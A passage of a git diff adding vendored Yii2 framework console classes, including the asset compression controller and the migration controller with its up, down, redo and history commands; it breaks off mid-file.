\ No newline at end of file diff --git a/php/yii2/basic/vendor/yiisoft/yii2/console/Exception.php b/php/yii2/basic/vendor/yiisoft/yii2/console/Exception.php new file mode 100644 index 00000000..41a01e47 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/console/Exception.php @@ -0,0 +1,27 @@ + + * @since 2.0 + */ +class Exception extends UserException +{ + /** + * @return string the user-friendly name of this exception + */ + public function getName() + { + return 'Error'; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/console/Markdown.php b/php/yii2/basic/vendor/yiisoft/yii2/console/Markdown.php new file mode 100644 index 00000000..a1a5c5a2 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/console/Markdown.php @@ -0,0 +1,103 @@ + + * @since 2.0 + */ +class Markdown extends \cebe\markdown\Parser +{ + use FencedCodeTrait; + use CodeTrait; + use EmphStrongTrait; + use StrikeoutTrait; + + /** + * @var array these are "escapeable" characters. When using one of these prefixed with a + * backslash, the character will be outputted without the backslash and is not interpreted + * as markdown. + */ + protected $escapeCharacters = [ + '\\', // backslash + '`', // backtick + '*', // asterisk + '_', // underscore + '~', // tilde + ]; + + + /** + * Renders a code block + * + * @param array $block + * @return string + */ + protected function renderCode($block) + { + return Console::ansiFormat($block['content'], [Console::NEGATIVE]) . "\n\n"; + } + + /** + * @inheritdoc + */ + protected function renderParagraph($block) + { + return rtrim($this->renderAbsy($block['content'])) . "\n\n"; + } + + /** + * Renders an inline code span `` ` ``. + * @param array $element + * @return string + */ + protected function renderInlineCode($element) + { + return Console::ansiFormat($element[1], [Console::UNDERLINE]); + } + + /** + * Renders empathized elements. + * @param array $element + * @return string + */ + protected function renderEmph($element) + { + return Console::ansiFormat($this->renderAbsy($element[1]), Console::ITALIC); + } + + /** + * Renders strong elements. + * @param array $element + * @return string + */ + protected function renderStrong($element) + { + return Console::ansiFormat($this->renderAbsy($element[1]), Console::BOLD); + } + + /** + * Renders the strike through feature. + * @param array $element + * @return string + */ + protected function renderStrike($element) + { + return Console::ansiFormat($this->parseInline($this->renderAbsy($element[1])), [Console::CROSSED_OUT]); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/console/Request.php b/php/yii2/basic/vendor/yiisoft/yii2/console/Request.php new file mode 100644 index 00000000..5a594b71 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/console/Request.php @@ -0,0 +1,81 @@ + + * @since 2.0 + */ +class Request extends \yii\base\Request +{ + private $_params; + + + /** + * Returns the command line arguments. + * @return array the command line arguments. It does not include the entry script name. + */ + public function getParams() + { + if (!isset($this->_params)) { + if (isset($_SERVER['argv'])) { + $this->_params = $_SERVER['argv']; + array_shift($this->_params); + } else { + $this->_params = []; + } + } + + return $this->_params; + } + + /** + * Sets the command line arguments. + * @param array $params the command line arguments + */ + public function setParams($params) + { + $this->_params = $params; + } + + /** + * Resolves the current request into a route and the associated parameters. + * @return array the first element is the route, and the second is the associated parameters. + */ + public function resolve() + { + $rawParams = $this->getParams(); + if (isset($rawParams[0])) { + $route = $rawParams[0]; + array_shift($rawParams); + } else { + $route = ''; + } + + $params = []; + foreach ($rawParams as $param) { + if (preg_match('/^--(\w+)(=(.*))?$/', $param, $matches)) { + $name = $matches[1]; + if ($name !== Application::OPTION_APPCONFIG) { + $params[$name] = isset($matches[3]) ? $matches[3] : true; + } + } else { + $params[] = $param; + } + } + + return [$route, $params]; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/console/Response.php b/php/yii2/basic/vendor/yiisoft/yii2/console/Response.php new file mode 100644 index 00000000..eff85c60 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/console/Response.php @@ -0,0 +1,18 @@ + + * @since 2.0 + */ +class Response extends \yii\base\Response +{ +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/console/controllers/AssetController.php b/php/yii2/basic/vendor/yiisoft/yii2/console/controllers/AssetController.php new file mode 100644 index 00000000..3fe4308a --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/console/controllers/AssetController.php @@ -0,0 +1,660 @@ + + * @since 2.0 + */ +class AssetController extends Controller +{ + /** + * @var string controller default action ID. + */ + public $defaultAction = 'compress'; + /** + * @var array list of asset bundles to be compressed. + */ + public $bundles = []; + /** + * @var array list of asset bundles, which represents output compressed files. + * You can specify the name of the output compressed file using 'css' and 'js' keys: + * For example: + * + * ~~~ + * 'app\config\AllAsset' => [ + * 'js' => 'js/all-{hash}.js', + * 'css' => 'css/all-{hash}.css', + * 'depends' => [ ... ], + * ] + * ~~~ + * + * File names can contain placeholder "{hash}", which will be filled by the hash of the resulting file. + */ + public $targets = []; + /** + * @var string|callable JavaScript file compressor. + * If a string, it is treated as shell command template, which should contain + * placeholders {from} - source file name - and {to} - output file name. + * Otherwise, it is treated as PHP callback, which should perform the compression. + * + * Default value relies on usage of "Closure Compiler" + * @see https://developers.google.com/closure/compiler/ + */ + public $jsCompressor = 'java -jar compiler.jar --js {from} --js_output_file {to}'; + /** + * @var string|callable CSS file compressor. + * If a string, it is treated as shell command template, which should contain + * placeholders {from} - source file name - and {to} - output file name. + * Otherwise, it is treated as PHP callback, which should perform the compression. + * + * Default value relies on usage of "YUI Compressor" + * @see https://github.com/yui/yuicompressor/ + */ + public $cssCompressor = 'java -jar yuicompressor.jar --type css {from} -o {to}'; + + /** + * @var array|\yii\web\AssetManager [[\yii\web\AssetManager]] instance or its array configuration, which will be used + * for assets processing. + */ + private $_assetManager = []; + + + /** + * Returns the asset manager instance. + * @throws \yii\console\Exception on invalid configuration. + * @return \yii\web\AssetManager asset manager instance. + */ + public function getAssetManager() + { + if (!is_object($this->_assetManager)) { + $options = $this->_assetManager; + if (!isset($options['class'])) { + $options['class'] = 'yii\\web\\AssetManager'; + } + if (!isset($options['basePath'])) { + throw new Exception("Please specify 'basePath' for the 'assetManager' option."); + } + if (!isset($options['baseUrl'])) { + throw new Exception("Please specify 'baseUrl' for the 'assetManager' option."); + } + $this->_assetManager = Yii::createObject($options); + } + + return $this->_assetManager; + } + + /** + * Sets asset manager instance or configuration. + * @param \yii\web\AssetManager|array $assetManager asset manager instance or its array configuration. + * @throws \yii\console\Exception on invalid argument type. + */ + public function setAssetManager($assetManager) + { + if (is_scalar($assetManager)) { + throw new Exception('"' . get_class($this) . '::assetManager" should be either object or array - "' . gettype($assetManager) . '" given.'); + } + $this->_assetManager = $assetManager; + } + + /** + * Combines and compresses the asset files according to the given configuration. + * During the process new asset bundle configuration file will be created. + * You should replace your original asset bundle configuration with this file in order to use compressed files. + * @param string $configFile configuration file name. + * @param string $bundleFile output asset bundles configuration file name. + */ + public function actionCompress($configFile, $bundleFile) + { + $this->loadConfiguration($configFile); + $bundles = $this->loadBundles($this->bundles); + $targets = $this->loadTargets($this->targets, $bundles); + foreach ($targets as $name => $target) { + echo "Creating output bundle '{$name}':\n"; + if (!empty($target->js)) { + $this->buildTarget($target, 'js', $bundles); + } + if (!empty($target->css)) { + $this->buildTarget($target, 'css', $bundles); + } + echo "\n"; + } + + $targets = $this->adjustDependency($targets, $bundles); + $this->saveTargets($targets, $bundleFile); + } + + /** + * Applies configuration from the given file to self instance. + * @param string $configFile configuration file name. + * @throws \yii\console\Exception on failure. + */ + protected function loadConfiguration($configFile) + { + echo "Loading configuration from '{$configFile}'...\n"; + foreach (require($configFile) as $name => $value) { + if (property_exists($this, $name) || $this->canSetProperty($name)) { + $this->$name = $value; + } else { + throw new Exception("Unknown configuration option: $name"); + } + } + + $this->getAssetManager(); // check if asset manager configuration is correct + } + + /** + * Creates full list of source asset bundles. + * @param string[] $bundles list of asset bundle names + * @return \yii\web\AssetBundle[] list of source asset bundles. + */ + protected function loadBundles($bundles) + { + echo "Collecting source bundles information...\n"; + + $am = $this->getAssetManager(); + $result = []; + foreach ($bundles as $name) { + $result[$name] = $am->getBundle($name); + } + foreach ($result as $bundle) { + $this->loadDependency($bundle, $result); + } + + return $result; + } + + /** + * Loads asset bundle dependencies recursively. + * @param \yii\web\AssetBundle $bundle bundle instance + * @param array $result already loaded bundles list. + * @throws Exception on failure. + */ + protected function loadDependency($bundle, &$result) + { + $am = $this->getAssetManager(); + foreach ($bundle->depends as $name) { + if (!isset($result[$name])) { + $dependencyBundle = $am->getBundle($name); + $result[$name] = false; + $this->loadDependency($dependencyBundle, $result); + $result[$name] = $dependencyBundle; + } elseif ($result[$name] === false) { + throw new Exception("A circular dependency is detected for bundle '$name'."); + } + } + } + + /** + * Creates full list of output asset bundles. + * @param array $targets output asset bundles configuration. + * @param \yii\web\AssetBundle[] $bundles list of source asset bundles. + * @return \yii\web\AssetBundle[] list of output asset bundles. + * @throws Exception on failure. + */ + protected function loadTargets($targets, $bundles) + { + // build the dependency order of bundles + $registered = []; + foreach ($bundles as $name => $bundle) { + $this->registerBundle($bundles, $name, $registered); + } + $bundleOrders = array_combine(array_keys($registered), range(0, count($bundles) - 1)); + + // fill up the target which has empty 'depends'. + $referenced = []; + foreach ($targets as $name => $target) { + if (empty($target['depends'])) { + if (!isset($all)) { + $all = $name; + } else { + throw new Exception("Only one target can have empty 'depends' option. Found two now: $all, $name"); + } + } else { + foreach ($target['depends'] as $bundle) { + if (!isset($referenced[$bundle])) { + $referenced[$bundle] = $name; + } else { + throw new Exception("Target '{$referenced[$bundle]}' and '$name' cannot contain the bundle '$bundle' at the same time."); + } + } + } + } + if (isset($all)) { + $targets[$all]['depends'] = array_diff(array_keys($registered), array_keys($referenced)); + } + + // adjust the 'depends' order for each target according to the dependency order of bundles + // create an AssetBundle object for each target + foreach ($targets as $name => $target) { + if (!isset($target['basePath'])) { + throw new Exception("Please specify 'basePath' for the '$name' target."); + } + if (!isset($target['baseUrl'])) { + throw new Exception("Please specify 'baseUrl' for the '$name' target."); + } + usort($target['depends'], function ($a, $b) use ($bundleOrders) { + if ($bundleOrders[$a] == $bundleOrders[$b]) { + return 0; + } else { + return $bundleOrders[$a] > $bundleOrders[$b] ? 1 : -1; + } + }); + if (!isset($target['class'])) { + $target['class'] = $name; + } + $targets[$name] = Yii::createObject($target); + } + + return $targets; + } + + /** + * Builds output asset bundle. + * @param \yii\web\AssetBundle $target output asset bundle + * @param string $type either 'js' or 'css'. + * @param \yii\web\AssetBundle[] $bundles source asset bundles. + * @throws Exception on failure. + */ + protected function buildTarget($target, $type, $bundles) + { + $tempFile = $target->basePath . '/' . strtr($target->$type, ['{hash}' => 'temp']); + $inputFiles = []; + + foreach ($target->depends as $name) { + if (isset($bundles[$name])) { + foreach ($bundles[$name]->$type as $file) { + $inputFiles[] = $bundles[$name]->basePath . '/' . $file; + } + } else { + throw new Exception("Unknown bundle: '{$name}'"); + } + } + if ($type === 'js') { + $this->compressJsFiles($inputFiles, $tempFile); + } else { + $this->compressCssFiles($inputFiles, $tempFile); + } + + $targetFile = strtr($target->$type, ['{hash}' => md5_file($tempFile)]); + $outputFile = $target->basePath . '/' . $targetFile; + rename($tempFile, $outputFile); + $target->$type = [$targetFile]; + } + + /** + * Adjust dependencies between asset bundles in the way source bundles begin to depend on output ones. + * @param \yii\web\AssetBundle[] $targets output asset bundles. + * @param \yii\web\AssetBundle[] $bundles source asset bundles. + * @return \yii\web\AssetBundle[] output asset bundles. + */ + protected function adjustDependency($targets, $bundles) + { + echo "Creating new bundle configuration...\n"; + + $map = []; + foreach ($targets as $name => $target) { + foreach ($target->depends as $bundle) { + $map[$bundle] = $name; + } + } + + foreach ($targets as $name => $target) { + $depends = []; + foreach ($target->depends as $bn) { + foreach ($bundles[$bn]->depends as $bundle) { + $depends[$map[$bundle]] = true; + } + } + unset($depends[$name]); + $target->depends = array_keys($depends); + } + + // detect possible circular dependencies + foreach ($targets as $name => $target) { + $registered = []; + $this->registerBundle($targets, $name, $registered); + } + + foreach ($map as $bundle => $target) { + $targets[$bundle] = Yii::createObject([ + 'class' => strpos($bundle, '\\') !== false ? $bundle : 'yii\\web\\AssetBundle', + 'depends' => [$target], + ]); + } + + return $targets; + } + + /** + * Registers asset bundles including their dependencies. + * @param \yii\web\AssetBundle[] $bundles asset bundles list. + * @param string $name bundle name. + * @param array $registered stores already registered names. + * @throws Exception if circular dependency is detected. + */ + protected function registerBundle($bundles, $name, &$registered) + { + if (!isset($registered[$name])) { + $registered[$name] = false; + $bundle = $bundles[$name]; + foreach ($bundle->depends as $depend) { + $this->registerBundle($bundles, $depend, $registered); + } + unset($registered[$name]); + $registered[$name] = true; + } elseif ($registered[$name] === false) { + throw new Exception("A circular dependency is detected for target '$name'."); + } + } + + /** + * Saves new asset bundles configuration. + * @param \yii\web\AssetBundle[] $targets list of asset bundles to be saved. + * @param string $bundleFile output file name. + * @throws \yii\console\Exception on failure. + */ + protected function saveTargets($targets, $bundleFile) + { + $array = []; + foreach ($targets as $name => $target) { + if (isset($this->targets[$name])) { + $array[$name] = [ + 'class' => get_class($target), + 'basePath' => $this->targets[$name]['basePath'], + 'baseUrl' => $this->targets[$name]['baseUrl'], + 'js' => $target->js, + 'css' => $target->css, + ]; + } else { + $array[$name] = [ + 'sourcePath' => null, + 'js' => [], + 'css' => [], + 'depends' => $target->depends, + ]; + } + } + $array = VarDumper::export($array); + $version = date('Y-m-d H:i:s', time()); + $bundleFileContent = <<id}" command. + * DO NOT MODIFY THIS FILE DIRECTLY. + * @version {$version} + */ +return {$array}; +EOD; + if (!file_put_contents($bundleFile, $bundleFileContent)) { + throw new Exception("Unable to write output bundle configuration at '{$bundleFile}'."); + } + echo "Output bundle configuration created at '{$bundleFile}'.\n"; + } + + /** + * Compresses given JavaScript files and combines them into the single one. + * @param array $inputFiles list of source file names. + * @param string $outputFile output file name. + * @throws \yii\console\Exception on failure + */ + protected function compressJsFiles($inputFiles, $outputFile) + { + if (empty($inputFiles)) { + return; + } + echo " Compressing JavaScript files...\n"; + if (is_string($this->jsCompressor)) { + $tmpFile = $outputFile . '.tmp'; + $this->combineJsFiles($inputFiles, $tmpFile); + echo shell_exec(strtr($this->jsCompressor, [ + '{from}' => escapeshellarg($tmpFile), + '{to}' => escapeshellarg($outputFile), + ])); + @unlink($tmpFile); + } else { + call_user_func($this->jsCompressor, $this, $inputFiles, $outputFile); + } + if (!file_exists($outputFile)) { + throw new Exception("Unable to compress JavaScript files into '{$outputFile}'."); + } + echo " JavaScript files compressed into '{$outputFile}'.\n"; + } + + /** + * Compresses given CSS files and combines them into the single one. + * @param array $inputFiles list of source file names. + * @param string $outputFile output file name. + * @throws \yii\console\Exception on failure + */ + protected function compressCssFiles($inputFiles, $outputFile) + { + if (empty($inputFiles)) { + return; + } + echo " Compressing CSS files...\n"; + if (is_string($this->cssCompressor)) { + $tmpFile = $outputFile . '.tmp'; + $this->combineCssFiles($inputFiles, $tmpFile); + echo shell_exec(strtr($this->cssCompressor, [ + '{from}' => escapeshellarg($tmpFile), + '{to}' => escapeshellarg($outputFile), + ])); + @unlink($tmpFile); + } else { + call_user_func($this->cssCompressor, $this, $inputFiles, $outputFile); + } + if (!file_exists($outputFile)) { + throw new Exception("Unable to compress CSS files into '{$outputFile}'."); + } + echo " CSS files compressed into '{$outputFile}'.\n"; + } + + /** + * Combines JavaScript files into a single one. + * @param array $inputFiles source file names. + * @param string $outputFile output file name. + * @throws \yii\console\Exception on failure. + */ + public function combineJsFiles($inputFiles, $outputFile) + { + $content = ''; + foreach ($inputFiles as $file) { + $content .= "/*** BEGIN FILE: $file ***/\n" + . file_get_contents($file) + . "/*** END FILE: $file ***/\n"; + } + if (!file_put_contents($outputFile, $content)) { + throw new Exception("Unable to write output JavaScript file '{$outputFile}'."); + } + } + + /** + * Combines CSS files into a single one. + * @param array $inputFiles source file names. + * @param string $outputFile output file name. + * @throws \yii\console\Exception on failure. + */ + public function combineCssFiles($inputFiles, $outputFile) + { + $content = ''; + foreach ($inputFiles as $file) { + $content .= "/*** BEGIN FILE: $file ***/\n" + . $this->adjustCssUrl(file_get_contents($file), dirname(realpath($file)), dirname($outputFile)) + . "/*** END FILE: $file ***/\n"; + } + if (!file_put_contents($outputFile, $content)) { + throw new Exception("Unable to write output CSS file '{$outputFile}'."); + } + } + + /** + * Adjusts CSS content allowing URL references pointing to the original resources. + * @param string $cssContent source CSS content. + * @param string $inputFilePath input CSS file name. + * @param string $outputFilePath output CSS file name. + * @return string adjusted CSS content. + */ + protected function adjustCssUrl($cssContent, $inputFilePath, $outputFilePath) + { + $inputFilePath = str_replace('\\', '/', $inputFilePath); + $outputFilePath = str_replace('\\', '/', $outputFilePath); + + $sharedPathParts = []; + $inputFilePathParts = explode('/', $inputFilePath); + $inputFilePathPartsCount = count($inputFilePathParts); + $outputFilePathParts = explode('/', $outputFilePath); + $outputFilePathPartsCount = count($outputFilePathParts); + for ($i =0; $i < $inputFilePathPartsCount && $i < $outputFilePathPartsCount; $i++) { + if ($inputFilePathParts[$i] == $outputFilePathParts[$i]) { + $sharedPathParts[] = $inputFilePathParts[$i]; + } else { + break; + } + } + $sharedPath = implode('/', $sharedPathParts); + + $inputFileRelativePath = trim(str_replace($sharedPath, '', $inputFilePath), '/'); + $outputFileRelativePath = trim(str_replace($sharedPath, '', $outputFilePath), '/'); + if (empty($inputFileRelativePath)) { + $inputFileRelativePathParts = []; + } else { + $inputFileRelativePathParts = explode('/', $inputFileRelativePath); + } + if (empty($outputFileRelativePath)) { + $outputFileRelativePathParts = []; + } else { + $outputFileRelativePathParts = explode('/', $outputFileRelativePath); + } + + $callback = function ($matches) use ($inputFileRelativePathParts, $outputFileRelativePathParts) { + $fullMatch = $matches[0]; + $inputUrl = $matches[1]; + + if (preg_match('/^https?:\/\//is', $inputUrl) || preg_match('/^data:/is', $inputUrl)) { + return $fullMatch; + } + + if (empty($outputFileRelativePathParts)) { + $outputUrlParts = []; + } else { + $outputUrlParts = array_fill(0, count($outputFileRelativePathParts), '..'); + } + $outputUrlParts = array_merge($outputUrlParts, $inputFileRelativePathParts); + + if (strpos($inputUrl, '/') !== false) { + $inputUrlParts = explode('/', $inputUrl); + foreach ($inputUrlParts as $key => $inputUrlPart) { + if ($inputUrlPart == '..') { + array_pop($outputUrlParts); + unset($inputUrlParts[$key]); + } + } + $outputUrlParts[] = implode('/', $inputUrlParts); + } else { + $outputUrlParts[] = $inputUrl; + } + $outputUrl = implode('/', $outputUrlParts); + + return str_replace($inputUrl, $outputUrl, $fullMatch); + }; + + $cssContent = preg_replace_callback('/url\(["\']?([^)^"^\']*)["\']?\)/is', $callback, $cssContent); + + return $cssContent; + } + + /** + * Creates template of configuration file for [[actionCompress]]. + * @param string $configFile output file name. + * @throws \yii\console\Exception on failure. + */ + public function actionTemplate($configFile) + { + $jsCompressor = VarDumper::export($this->jsCompressor); + $cssCompressor = VarDumper::export($this->cssCompressor); + + $template = << {$jsCompressor}, + // Adjust command/callback for CSS files compressing: + 'cssCompressor' => {$cssCompressor}, + // The list of asset bundles to compress: + 'bundles' => [ + // 'app\assets\AppAsset', + // 'yii\web\YiiAsset', + // 'yii\web\JqueryAsset', + ], + // Asset bundle for compression output: + 'targets' => [ + 'all' => [ + 'class' => 'yii\web\AssetBundle', + 'basePath' => '@webroot/assets', + 'baseUrl' => '@web/assets', + 'js' => 'js/all-{hash}.js', + 'css' => 'css/all-{hash}.css', + ], + ], + // Asset manager configuration: + 'assetManager' => [ + //'basePath' => '@webroot/assets', + //'baseUrl' => '@web/assets', + ], +]; +EOD; + if (file_exists($configFile)) { + if (!$this->confirm("File '{$configFile}' already exists. Do you wish to overwrite it?")) { + return self::EXIT_CODE_NORMAL; + } + } + if (!file_put_contents($configFile, $template)) { + throw new Exception("Unable to write template file '{$configFile}'."); + } else { + echo "Configuration file template created at '{$configFile}'.\n\n"; + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/console/controllers/BaseMigrateController.php b/php/yii2/basic/vendor/yiisoft/yii2/console/controllers/BaseMigrateController.php new file mode 100644 index 00000000..ab7c2983 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/console/controllers/BaseMigrateController.php @@ -0,0 +1,643 @@ + + * @since 2.0 + */ +abstract class BaseMigrateController extends Controller +{ + /** + * The name of the dummy migration that marks the beginning of the whole migration history. + */ + const BASE_MIGRATION = 'm000000_000000_base'; + + /** + * @var string the default command action. + */ + public $defaultAction = 'up'; + /** + * @var string the directory storing the migration classes. This can be either + * a path alias or a directory. + */ + public $migrationPath = '@app/migrations'; + /** + * @var string the template file for generating new migrations. + * This can be either a path alias (e.g. "@app/migrations/template.php") + * or a file path. + */ + public $templateFile; + + + /** + * @inheritdoc + */ + public function options($actionID) + { + return array_merge( + parent::options($actionID), + ['migrationPath'], // global for all actions + ($actionID == 'create') ? ['templateFile'] : [] // action create + ); + } + + /** + * This method is invoked right before an action is to be executed (after all possible filters.) + * It checks the existence of the [[migrationPath]]. + * @param \yii\base\Action $action the action to be executed. + * @throws Exception if db component isn't configured + * @return boolean whether the action should continue to be executed. + */ + public function beforeAction($action) + { + if (parent::beforeAction($action)) { + $path = Yii::getAlias($this->migrationPath); + if (!is_dir($path)) { + echo ""; + FileHelper::createDirectory($path); + } + $this->migrationPath = $path; + + $version = Yii::getVersion(); + echo "Yii Migration Tool (based on Yii v{$version})\n\n"; + + return true; + } else { + return false; + } + } + + /** + * Upgrades the application by applying new migrations. + * For example, + * + * ~~~ + * yii migrate # apply all new migrations + * yii migrate 3 # apply the first 3 new migrations + * ~~~ + * + * @param integer $limit the number of new migrations to be applied. If 0, it means + * applying all available new migrations. + * + * @return integer the status of the action execution. 0 means normal, other values mean abnormal. + */ + public function actionUp($limit = 0) + { + $migrations = $this->getNewMigrations(); + if (empty($migrations)) { + echo "No new migration found. Your system is up-to-date.\n"; + + return self::EXIT_CODE_NORMAL; + } + + $total = count($migrations); + $limit = (int) $limit; + if ($limit > 0) { + $migrations = array_slice($migrations, 0, $limit); + } + + $n = count($migrations); + if ($n === $total) { + echo "Total $n new " . ($n === 1 ? 'migration' : 'migrations') . " to be applied:\n"; + } else { + echo "Total $n out of $total new " . ($total === 1 ? 'migration' : 'migrations') . " to be applied:\n"; + } + + foreach ($migrations as $migration) { + echo " $migration\n"; + } + echo "\n"; + + if ($this->confirm('Apply the above ' . ($n === 1 ? 'migration' : 'migrations') . "?")) { + foreach ($migrations as $migration) { + if (!$this->migrateUp($migration)) { + echo "\nMigration failed. The rest of the migrations are canceled.\n"; + + return self::EXIT_CODE_ERROR; + } + } + echo "\nMigrated up successfully.\n"; + } + } + + /** + * Downgrades the application by reverting old migrations. + * For example, + * + * ~~~ + * yii migrate/down # revert the last migration + * yii migrate/down 3 # revert the last 3 migrations + * yii migrate/down all # revert all migrations + * ~~~ + * + * @param integer $limit the number of migrations to be reverted. Defaults to 1, + * meaning the last applied migration will be reverted. + * @throws Exception if the number of the steps specified is less than 1. + * + * @return integer the status of the action execution. 0 means normal, other values mean abnormal. + */ + public function actionDown($limit = 1) + { + if ($limit === 'all') { + $limit = null; + } else { + $limit = (int) $limit; + if ($limit < 1) { + throw new Exception("The step argument must be greater than 0."); + } + } + + $migrations = $this->getMigrationHistory($limit); + + if (empty($migrations)) { + echo "No migration has been done before.\n"; + + return self::EXIT_CODE_NORMAL; + } + + $migrations = array_keys($migrations); + + $n = count($migrations); + echo "Total $n " . ($n === 1 ? 'migration' : 'migrations') . " to be reverted:\n"; + foreach ($migrations as $migration) { + echo " $migration\n"; + } + echo "\n"; + + if ($this->confirm('Revert the above ' . ($n === 1 ? 'migration' : 'migrations') . "?")) { + foreach ($migrations as $migration) { + if (!$this->migrateDown($migration)) { + echo "\nMigration failed. The rest of the migrations are canceled.\n"; + + return self::EXIT_CODE_ERROR; + } + } + echo "\nMigrated down successfully.\n"; + } + } + + /** + * Redoes the last few migrations. + * + * This command will first revert the specified migrations, and then apply + * them again. For example, + * + * ~~~ + * yii migrate/redo # redo the last applied migration + * yii migrate/redo 3 # redo the last 3 applied migrations + * yii migrate/redo all # redo all migrations + * ~~~ + * + * @param integer $limit the number of migrations to be redone. Defaults to 1, + * meaning the last applied migration will be redone. + * @throws Exception if the number of the steps specified is less than 1. + * + * @return integer the status of the action execution. 0 means normal, other values mean abnormal. + */ + public function actionRedo($limit = 1) + { + if ($limit === 'all') { + $limit = null; + } else { + $limit = (int) $limit; + if ($limit < 1) { + throw new Exception("The step argument must be greater than 0."); + } + } + + $migrations = $this->getMigrationHistory($limit); + + if (empty($migrations)) { + echo "No migration has been done before.\n"; + + return self::EXIT_CODE_NORMAL; + } + + $migrations = array_keys($migrations); + + $n = count($migrations); + echo "Total $n " . ($n === 1 ? 'migration' : 'migrations') . " to be redone:\n"; + foreach ($migrations as $migration) { + echo " $migration\n"; + } + echo "\n"; + + if ($this->confirm('Redo the above ' . ($n === 1 ? 'migration' : 'migrations') . "?")) { + foreach ($migrations as $migration) { + if (!$this->migrateDown($migration)) { + echo "\nMigration failed. The rest of the migrations are canceled.\n"; + + return self::EXIT_CODE_ERROR; + } + } + foreach (array_reverse($migrations) as $migration) { + if (!$this->migrateUp($migration)) { + echo "\nMigration failed. The rest of the migrations migrations are canceled.\n"; + + return self::EXIT_CODE_ERROR; + } + } + echo "\nMigration redone successfully.\n"; + } + } + + /** + * Upgrades or downgrades till the specified version. + * + * Can also downgrade versions to the certain apply time in the past by providing + * a UNIX timestamp or a string parseable by the strtotime() function. This means + * that all the versions applied after the specified certain time would be reverted. + * + * This command will first revert the specified migrations, and then apply + * them again. For example, + * + * ~~~ + * yii migrate/to 101129_185401 # using timestamp + * yii migrate/to m101129_185401_create_user_table # using full name + * yii migrate/to 1392853618 # using UNIX timestamp + * yii migrate/to "2014-02-15 13:00:50" # using strtotime() parseable string + * ~~~ + * + * @param string $version either the version name or the certain time value in the past + * that the application should be migrated to. This can be either the timestamp, + * the full name of the migration, the UNIX timestamp, or the parseable datetime + * string. + * @throws Exception if the version argument is invalid. + */ + public function actionTo($version) + { + if (preg_match('/^m?(\d{6}_\d{6})(_.*?)?$/', $version, $matches)) { + $this->migrateToVersion('m' . $matches[1]); + } elseif ((string) (int) $version == $version) { + $this->migrateToTime($version); + } elseif (($time = strtotime($version)) !== false) { + $this->migrateToTime($time); + } else { + throw new Exception("The version argument must be either a timestamp (e.g. 101129_185401),\n the full name of a migration (e.g. m101129_185401_create_user_table),\n a UNIX timestamp (e.g. 1392853000), or a datetime string parseable\nby the strtotime() function (e.g. 2014-02-15 13:00:50)."); + } + } + + /** + * Modifies the migration history to the specified version. + * + * No actual migration will be performed. + * + * ~~~ + * yii migrate/mark 101129_185401 # using timestamp + * yii migrate/mark m101129_185401_create_user_table # using full name + * ~~~ + * + * @param string $version the version at which the migration history should be marked. + * This can be either the timestamp or the full name of the migration. + * @throws Exception if the version argument is invalid or the version cannot be found. + */ + public function actionMark($version) + { + $originalVersion = $version; + if (preg_match('/^m?(\d{6}_\d{6})(_.*?)?$/', $version, $matches)) { + $version = 'm' . $matches[1]; + } else { + throw new Exception("The version argument must be either a timestamp (e.g. 101129_185401)\nor the full name of a migration (e.g. m101129_185401_create_user_table)."); + } + + // try mark up + $migrations = $this->getNewMigrations(); + foreach ($migrations as $i => $migration) { + if (strpos($migration, $version . '_') === 0) { + if ($this->confirm("Set migration history at $originalVersion?")) { + for ($j = 0; $j <= $i; ++$j) { + $this->addMigrationHistory($migrations[$j]); + } + echo "The migration history is set at $originalVersion.\nNo actual migration was performed.\n"; + } + + return self::EXIT_CODE_NORMAL; + } + } + + // try mark down + $migrations = array_keys($this->getMigrationHistory(null)); + foreach ($migrations as $i => $migration) { + if (strpos($migration, $version . '_') === 0) { + if ($i === 0) { + echo "Already at '$originalVersion'. Nothing needs to be done.\n"; + } else { + if ($this->confirm("Set migration history at $originalVersion?")) { + for ($j = 0; $j < $i; ++$j) { + $this->removeMigrationHistory($migrations[$j]); + } + echo "The migration history is set at $originalVersion.\nNo actual migration was performed.\n"; + } + } + + return self::EXIT_CODE_NORMAL; + } + } + + throw new Exception("Unable to find the version '$originalVersion'."); + } + + /** + * Displays the migration history. + * + * This command will show the list of migrations that have been applied + * so far. For example, + * + * ~~~ + * yii migrate/history # showing the last 10 migrations + * yii migrate/history 5 # showing the last 5 migrations + * yii migrate/history all # showing the whole history + * ~~~ + * + * @param integer $limit the maximum number of migrations to be displayed. + * If it is 0, the whole migration history will be displayed. + * @throws \yii\console\Exception if invalid limit value passed + */ + public function actionHistory($limit = 10) + { + if ($limit === 'all') { + $limit = null; + } else { + $limit = (int) $limit; + if ($limit < 1) { + throw new Exception("The limit must be greater than 0."); + } + } + + $migrations = $this->getMigrationHistory($limit); + + if (empty($migrations)) { + echo "No migration has been done before.\n"; + } else { + $n = count($migrations); + if ($limit > 0) { + echo "Showing the last $n applied " . ($n === 1 ? 'migration' : 'migrations') . ":\n"; + } else { + echo "Total $n " . ($n === 1 ? 'migration has' : 'migrations have') . " been applied before:\n"; + } + foreach ($migrations as $version => $time) { + echo " (" . date('Y-m-d H:i:s', $time) . ') ' . $version . "\n"; + } + } + } + + /** + * Displays the un-applied new migrations. + * + * This command will show the new migrations that have not been applied. + * For example, + * + * ~~~ + * yii migrate/new # showing the first 10 new migrations + * yii migrate/new 5 # showing the first 5 new migrations + * yii migrate/new all # showing all new migrations + * ~~~ + * + * @param integer $limit the maximum number of new migrations to be displayed. + * If it is 0, all available new migrations will be displayed. + * @throws \yii\console\Exception if invalid limit value passed + */ + public function actionNew($limit = 10) + { + if ($limit === 'all') { + $limit = null; + } else { + $limit = (int) $limit; + if ($limit < 1) { + throw new Exception("The limit must be greater than 0."); + } + } + + $migrations = $this->getNewMigrations(); + + if (empty($migrations)) { + echo "No new migrations found. Your system is up-to-date.\n"; + } else { + $n = count($migrations); + if ($limit && $n > $limit) { + $migrations = array_slice($migrations, 0, $limit); + echo "Showing $limit out of $n new " . ($n === 